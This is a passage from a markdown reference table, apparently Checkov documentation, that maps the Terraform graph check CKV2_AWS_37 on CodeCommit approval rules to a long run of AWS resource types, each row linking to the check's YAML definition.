[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2156 | CKV2_AWS_37              | resource                         | aws_securityhub_insight                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2157 | CKV2_AWS_37              | resource                         | aws_securityhub_invite_accepter                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2158 | CKV2_AWS_37              | resource                         | aws_securityhub_member                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2159 | CKV2_AWS_37              | resource                         | aws_securityhub_organization_admin_account                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2160 | CKV2_AWS_37              | resource                         | aws_securityhub_organization_configuration                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2161 | CKV2_AWS_37              | resource                         | aws_securityhub_product_subscription                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2162 | CKV2_AWS_37              | resource                         | aws_securityhub_standards_control                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2163 | CKV2_AWS_37              | resource                         | aws_securityhub_standards_control_association                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2164 | CKV2_AWS_37              | resource                         | aws_securityhub_standards_subscription                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2165 | CKV2_AWS_37              | resource                         | aws_securitylake_aws_log_source                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2166 | CKV2_AWS_37              | resource                         | aws_securitylake_custom_log_source                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2167 | CKV2_AWS_37              | resource                         | aws_securitylake_data_lake                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2168 | CKV2_AWS_37              | resource                         | aws_securitylake_subscriber                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2169 | CKV2_AWS_37              | resource                         | aws_securitylake_subscriber_notification                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2170 | CKV2_AWS_37              | resource                         | aws_serverlessapplicationrepository_cloudformation_stack                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2171 | CKV2_AWS_37              | resource                         | aws_service_discovery_http_namespace                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2172 | CKV2_AWS_37              | resource                         | aws_service_discovery_instance                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2173 | CKV2_AWS_37              | resource                         | aws_service_discovery_private_dns_namespace                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2174 | CKV2_AWS_37              | resource                         | aws_service_discovery_public_dns_namespace                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2175 | CKV2_AWS_37              | resource                         | aws_service_discovery_service                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2176 | CKV2_AWS_37              | resource                         | aws_servicecatalog_budget_resource_association                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2177 | CKV2_AWS_37              | resource                         | aws_servicecatalog_constraint                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2178 | CKV2_AWS_37              | resource                         | aws_servicecatalog_organizations_access                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2179 | CKV2_AWS_37              | resource                         | aws_servicecatalog_portfolio                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2180 | CKV2_AWS_37              | resource                         | aws_servicecatalog_portfolio_share                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2181 | CKV2_AWS_37              | resource                         | aws_servicecatalog_principal_portfolio_association                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2182 | CKV2_AWS_37              | resource                         | aws_servicecatalog_product                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2183 | CKV2_AWS_37              | resource                         | aws_servicecatalog_product_portfolio_association                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2184 | CKV2_AWS_37              | resource                         | aws_servicecatalog_provisioned_product                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2185 | CKV2_AWS_37              | resource                         | aws_servicecatalog_provisioning_artifact                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2186 | CKV2_AWS_37              | resource                         | aws_servicecatalog_service_action                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2187 | CKV2_AWS_37              | resource                         | aws_servicecatalog_tag_option                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2188 | CKV2_AWS_37              | resource                         | aws_servicecatalog_tag_option_resource_association                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2189 | CKV2_AWS_37              | resource                         | aws_servicecatalogappregistry_application                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2190 | CKV2_AWS_37              | resource                         | aws_servicecatalogappregistry_attribute_group                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2191 | CKV2_AWS_37              | resource                         | aws_servicecatalogappregistry_attribute_group_association                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2192 | CKV2_AWS_37              | resource                         | aws_servicequotas_service_quota                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2193 | CKV2_AWS_37              | resource                         | aws_servicequotas_template                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2194 | CKV2_AWS_37              | resource                         | aws_servicequotas_template_association                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2195 | CKV2_AWS_37              | resource                         | aws_ses_active_receipt_rule_set                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2196 | CKV2_AWS_37              | resource                         | aws_ses_configuration_set                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2197 | CKV2_AWS_37              | resource                         | aws_ses_domain_dkim                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2198 | CKV2_AWS_37              | resource                         | aws_ses_domain_identity                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2199 | CKV2_AWS_37              | resource                         | aws_ses_domain_identity_verification                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2200 | CKV2_AWS_37              | resource                         | aws_ses_domain_mail_from                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2201 | CKV2_AWS_37              | resource                         | aws_ses_email_identity                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2202 | CKV2_AWS_37              | resource                         | aws_ses_event_destination                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2203 | CKV2_AWS_37              | resource                         | aws_ses_identity_notification_topic                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2204 | CKV2_AWS_37              | resource                         | aws_ses_identity_policy                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2205 | CKV2_AWS_37              | resource                         | aws_ses_receipt_filter                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2206 | CKV2_AWS_37              | resource                         | aws_ses_receipt_rule                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2207 | CKV2_AWS_37              | resource                         | aws_ses_receipt_rule_set                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2208 | CKV2_AWS_37              | resource                         | aws_ses_template                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2209 | CKV2_AWS_37              | resource                         | aws_sesv2_account_suppression_attributes                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2210 | CKV2_AWS_37              | resource                         | aws_sesv2_account_vdm_attributes                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2211 | CKV2_AWS_37              | resource                         | aws_sesv2_configuration_set                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2212 | CKV2_AWS_37              | resource                         | aws_sesv2_configuration_set_event_destination                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2213 | CKV2_AWS_37              | resource                         | aws_sesv2_contact_list                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2214 | CKV2_AWS_37              | resource                         | aws_sesv2_dedicated_ip_assignment                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2215 | CKV2_AWS_37              | resource                         | aws_sesv2_dedicated_ip_pool                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2216 | CKV2_AWS_37              | resource                         | aws_sesv2_email_identity                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2217 | CKV2_AWS_37              | resource                         | aws_sesv2_email_identity_feedback_attributes                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2218 | CKV2_AWS_37              | resource                         | aws_sesv2_email_identity_mail_from_attributes                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2219 | CKV2_AWS_37              | resource                         | aws_sesv2_email_identity_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2220 | CKV2_AWS_37              | resource                         | aws_sfn_activity                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2221 | CKV2_AWS_37              | resource                         | aws_sfn_alias                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2222 | CKV2_AWS_37              | resource                         | aws_sfn_state_machine                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2223 | CKV2_AWS_37              | resource                         | aws_shield_application_layer_automatic_response                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2224 | CKV2_AWS_37              | resource                         | aws_shield_drt_access_log_bucket_association                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2225 | CKV2_AWS_37              | resource                         | aws_shield_drt_access_role_arn_association                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2226 | CKV2_AWS_37              | resource                         | aws_shield_proactive_engagement                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2227 | CKV2_AWS_37              | resource                         | aws_shield_protection                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2228 | CKV2_AWS_37              | resource                         | aws_shield_protection_group                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2229 | CKV2_AWS_37              | resource                         | aws_shield_protection_health_check_association                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2230 | CKV2_AWS_37              | resource                         | aws_shield_subscription                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2231 | CKV2_AWS_37              | resource                         | aws_signer_signing_job                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2232 | CKV2_AWS_37              | resource                         | aws_signer_signing_profile                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2233 | CKV2_AWS_37              | resource                         | aws_signer_signing_profile_permission                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2234 | CKV2_AWS_37              | resource                         | aws_simpledb_domain                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2235 | CKV2_AWS_37              | resource                         | aws_snapshot_create_volume_permission                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2236 | CKV2_AWS_37              | resource                         | aws_sns_platform_application                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2237 | CKV2_AWS_37              | resource                         | aws_sns_sms_preferences                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2238 | CKV2_AWS_37              | resource                         | aws_sns_topic                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2239 | CKV2_AWS_37              | resource                         | aws_sns_topic_data_protection_policy                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2240 | CKV2_AWS_37              | resource                         | aws_sns_topic_policy                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2241 | CKV2_AWS_37              | resource                         | aws_sns_topic_subscription                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2242 | CKV2_AWS_37              | resource                         | aws_spot_datafeed_subscription                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2243 | CKV2_AWS_37              | resource                         | aws_spot_fleet_request                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2244 | CKV2_AWS_37              | resource                         | aws_spot_instance_request                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2245 | CKV2_AWS_37              | resource                         | 